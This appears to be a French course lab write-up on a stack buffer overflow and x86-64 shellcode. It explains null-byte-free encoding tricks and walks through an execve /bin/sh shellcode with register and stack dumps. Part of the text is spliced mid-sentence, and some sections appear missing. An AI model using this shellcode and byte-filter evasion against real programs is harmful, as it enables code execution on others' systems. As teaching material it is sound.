--- title: "Sécurité logicielle : TD5 stack overflow et shellcode" date: 2023-02-17 lastmod: 2023-03-30 tags: ["Assembleur", "x86"] author: - Yorick Barbanneau - Gwendal Aupee categories: ["Sécurité logicielle", "TD"] --- ## Partie 1 Avec l'aide de `pframe`, nous pouvons voir que lorsque notre boucle itère pour la onzième fois, l'affectation `t[11]` écrase `i` et le remet à 0. A ce moment notre boucle reviens à départ; une boucle infinie se produit alors. C'est la conséquence du *buffer overflow* causée par une mauvaise maitrise des boucles et variables associées. En effet en prenant en compte le 0 comme index de tableau, la boucle `for (i=0; i<=N; i++)` itère 12 fois et non 11. La condition devrait être `i: 401000: 48 c7 c6 b6 01 00 00 mov $0x1b6,%rsi 401007: 48 c7 c7 00 20 40 00 mov $0x402000,%rdi 40100e: 48 c7 c0 55 00 00 00 mov $0x55,%rax 401015: 0f 05 syscall 401017: 48 c7 c7 2a 00 00 00 mov $0x2a,%rdi 40101e: 48 c7 c0 3c 00 00 00 mov $0x3c,%rax 401025: 0f 05 syscall ``` Une fois `shellcode.S` modifié et compilé, nous avons extrait les **opcodes** avec une cible de notre `Makefile`. Cette cible créée un fichier `opcode.txt` prêt à importer dans notre code `C`[^opcode]. Avec cette méthode, nous n'avons pas à nous soucier de *l'abréviation* des 0 par `objdump`. Et en plus on évite les erreurs de saisie. Nous avons ensuite modifié notre *shellcode* afin de banir `\0` -- il ne contenait pas de `\n` -- avec les astuces suivantes: * Utiliser la séquence `jmp`, `call`, `pop`. L'adresse du `call` est ainsi négative et ne contient pas de 0. * Utiliser `xor` sur un registre vers lui même afin de l'initialiser à 0 * Utiliser la pile pour affecter des valeurs à nos registres ```asm push $0xabcd pop %rsi ``` * Pour des valeurs contenant 0 (mais pas `f`), utiliser le complément à deux, par exemple pour 0666: ```asm pop %rdi push $0xfffffffffffffe4b xor %rsi, %rsi pop %rsi neg %rsi ``` * Pour les valeurs contenant des 0, utiliser des opérations arithmétiques pour les calculer ```asm # put 61 in %rax push $61 pop %rax # minus 1, we've got 60 (exit syscall number) lea -1(%rax), %rax ``` Pour sa soustraction ou l'addition, on utilise `lea`. * Utiliser `.ascii` à la place de `asciz`, ainsi notre chaine ne contient pas `\0` à la fin. Après l'incorporation de notre *shellcode* dans le fichier `exploit.c`, sa compilation et son exécution, le fichier `/tmp/pwn` est bien créé. [^opcode]: enfin quasiment, notre cible n'est pas parfaite et il faut supprimer quelques éléments à la fin de la séquence ## Partie 4 Voici le code assembleur obtenu d'après les opcodes: ```asm xor %eax,%eax movabs $0xff978cd091969dd1,%rbx neg %rbx push %rbx push %rsp pop %rdi cltd push %rdx push %rdi push %rsp pop %rsi mov $0x3b,%al syscall ``` Notre *shellcode* commence par initialiser `%eax` à 0 en faisant un `xor` - *ou exclusif* sur lui-même. Plus il place `$0xff978cd091969dd1` sans `%rbx`. Ceci est en fait une chaine de caractère qui sera dévoilée lors de la prochaine instruction. Celle ci est en fait `/bin/sh` suivi de `/0` donnée par `neg %rbx`. Cette instruction réalise un complément à deux sur le registre en paramètre. `%rbx` est ensuite poussé sur la pile tout comme notre pointeur de pile. Le contenu pointé par le pointeur de pile (l'adresse de notre chaine) est passé au registre `%rdi` et la pile remonte d'un cran (`pop`). Le mnémonique `cltd` étends le bit de poids fort d'`%eax` dans `%edx`. Il est question ici d'initialiser `%edx` à 0. `%rdx` est ensuite poussé sur la pile, puis `%rdi` et notre pointeur de pile. Voici d'ailleurs à quoi ressemble cette dernière: ``` [...] 0x7fffffffe538 0x0068732f6e69622f 0x7fffffffe530 0x0000000000000000 0x7fffffffe528 0x00007fffffffe538 0x7fffffffe520 sp 0x00007fffffffe528 [...] ``` Enfin `0x3b` est positionné dans `al` (appel système `execve`) et notre appel est lance avec `syscall`. Voici l'état des registres au moment de notre `syscall` : ``` rax 0x3b 59 rbx 0x68732f6e69622f 29400045130965551 rcx 0x0 0 rdx 0x0 0 rsi 0x7fffffffe528 140737488348456 rdi 0x7fffffffe538 140737488348472 rbp 0x0 0x0 rsp 0x7fffffffe528 0x7fffffffe528 ``` Et l'état de notre pile : ``` [...] 0x7fffffffe548 0x00007fffffffe87d 0x7fffffffe540 0x0000000000000001 0x7fffffffe538 0x0068732f6e69622f 0x7fffffffe530 0x0000000000000000 0x7fffffffe528 sp 0x00007fffffffe538 0x7fffffffe520 0x00007fffffffe528 [...] ``` Notre *shellcode* lance donc `/bin/sh`. Comme défini dans l'ABI Linux, notre appel système utilise `%rdi` comme premier paramètre, celui-ci contient l'adresse de `/bin/sh` sur la pile. Le second paramètre, un pointeur vers le tableau des arguments d'`execve` est contenu dans `%rsi`. Le dernier argument est passé par `%rdx` : 0. Dans ce *shellcode*, tout est fait pour ne pas avoir de caractère `/0` et `/n` afin de passer `gets` et `strcpy`.